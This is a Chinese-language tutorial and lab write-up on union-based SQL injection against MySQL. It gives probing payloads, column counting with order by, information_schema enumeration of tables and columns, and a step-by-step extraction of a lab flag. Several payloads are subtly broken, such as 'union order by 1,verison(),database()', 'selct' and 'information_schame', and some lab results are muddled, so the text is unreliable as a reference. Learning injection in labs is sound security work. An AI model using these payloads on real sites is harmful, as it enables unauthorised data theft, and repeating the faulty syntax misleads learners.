SQL注入的原理与系统
SQL注入是网站存在最多的也是比较简单的漏洞,主要原因是程序对用户的字符串没有进行过滤或者过滤处理不严谨,导致用户可以通过精心构造语句来非法获取数据库中的信息,SQL注入的首次公开讨论始于1998年,至今有很长一段时间了,漏洞之王的称号,但是最近也有讨论关于SQL注入死透了的话题...但是不论如何,SQL注入也应当是必学的一个课题。
SQL语言即是结构化查询语言,通俗来讲就是操作数据库的语言,这些语句可以对数据库进行增删改查等操作。
注入在这里指的是用户输入的数据拼接到原始代码中,从而使得被注入的数据当做代码执行。
有些网页即使没有用户键入的地方,但是如果观察网页URL发现有:
URL/?id=1
URL/index.php/?user=admin
类似于这种URL,我们可以大胆猜想是否存在GET传参,到底会做什么样的处理,这里可以去测试:
URL/?id=1 and 1=2
URL/?id=1 and sleep(5)
URL/?id=2
URL/?id=3-1
URL/?id=1%2B1 # "+"在URL中是被当做URL去执行的
# 这里想输入"+"用"%2B"替换
# 输入一个不成立的条件,看看页面的回显是否存在异常
测试传入的参数是否被当做代码去执行 测试传入的参数是否被当做代码去执行 测试传入的参数是否被当做代码去执行 这里URL编码测试可以在在线转换 URL编码
order by # 排序,用来查看字段数
union select # 联合查询,用来查询自己想要的得到数据
database() # 用来查询数据库
limit 0,1 # 限制输出,0表示下标,1表述数量
information_schema # mysql5.0以上版本,自带数据库
# 记录了mysql数据库下的所有数据库名,表名,列名的信息
information_schema.tables # 记录表名信息的表
information_schame.columns # 记录列名信息的表
table_name # 表名
column_name # 列名
table_schema # 数据库名
order by 1 # 正常
order by 2 # 正常
order by 3 # 异常
# 测试结果:说明仅存在两个字段
# 查询语句拼接测试(报错)
select * from admin select * from test
# 修改查询语句(联合查询)
select * from admin union select * from test
# 联合查询是有要求的,字段数要求一致的,因此也可以这样查询
select * from admin union select id,password from test
# 这样查询出来的结果顺序是先显示第一个表中的内容,再显示第二个表中的内容
select * from admin union select id,password from test
# 此时为了显示后面出来的内容,我们可以如下构造URL
URL/?id=1 and 1=2 union select id,password
URL/?id=1 and 1.1 union select id,password
# 这样构造的目的是union前的数据显示不出来,从而可以显示union后面的数据
# 若union后面构造的内容被显示出来,说明该点是显位点
联合查询时需要让前面查询语句查询不出来数据,从而显示后面的结果,以方便发现显位点。
select database() # 查询库名
# 基于前面的回显点,我们输入database(),有几率可以查询到库名
URL/? id=1.1 union selct id,database()
# 回显不是database()而是其他字符串,可以判断得到了库名
URL/?id=1.2 union select 1,
table_name from information_schema.tables where table_schema="想要查询的数据库"
# 构造如下也可以查询得到
table_name from information_schema.tables where table_schema=database()
# 继续做限制,查第一个下标下面的数值
table_name from information_schema.tables where table_schema=database() limit 0,1
# 第二个下标下面的数值
table_name from information_schema.tables where table_schema=database() limit 1,2
column_name from information_schema.columns where table_schema=
'数据库名字' and table_name='admin'
# 这段SQL语句的意思是查询去 information库下面的columns表中查询库名为'数据库名字'
# 下面的admin表中的所有字段
# 这里也可以用group_concat查询出所有,但是并不建议,因为如果做了长度限制,就会漏掉一些信息
column_name from information_schema.columns where table_schema=
'数据库名字' and table_name='admin' limit 0,1
'数据库名字' and table_name='admin' limit 1,1
'数据库名字' and table_name='admin' limit 2,1
URL/? id=1.2 union select 1,password from admin
# 在知道了表名和列名就可以直接指定表查询
# 真实环境中还是有很多情况,靶场也会有很多坑,还是自己多做测试
这里用一个靶场来进行测试
http://xxx/Pass-01/index.php?id=1
1.判断是否存在SQL注入 观察URL后面有GET传参,测试:
select * from user where id=1 and 1=2
select * from user where id=1 and 1=1
测试发现1=1正常,1=2错误显示,那么说明存在注入点。 2.判断字段
id=1 order by 4时回显异常,说明有3个字段
3.判断显错位
id=1 union order by 1,2,3
测试发现2,3为显位点 4.判断库名
id=1 union order by 1,verison(),database()
测试发现只显示第一个回显点,库名显示error。 因为版本是5.0以上,所以会有 tables库和columns库,information_schema 库 构造payload:
union select 1,2,table_name from information_schema.tables
where table_schema='error'
得到库名:user 5.查找字段
payload:
?id=1 union select 1,2,column_name from information_schema.columns
where table_name='user'
得到字段:password 6.查看字段内容
payload:
?id=1 union select 1,2,password from user
很离谱,这里显示的是:Nopassword
这里继续回到error数据库里看看: payload:
?id=1 union select 1,2,table_name from information_schema.tables
where table_schema='error' limit 1,1
发现error_flag,这里去查error_flag的字段: payload:
?id=1 union select 1,2,column_name from information_schema.columns
where table_name='error_flag' limit 2,1
这里找到了flag字段,就很开心,直接查它: 7.具体内容 payload:
id=1 union select 1,2,flag from error_flag limit 1,1
这里就拿到了flag。
这里就只拿一道例题来做测验,后续开个新分支,写写靶场记录。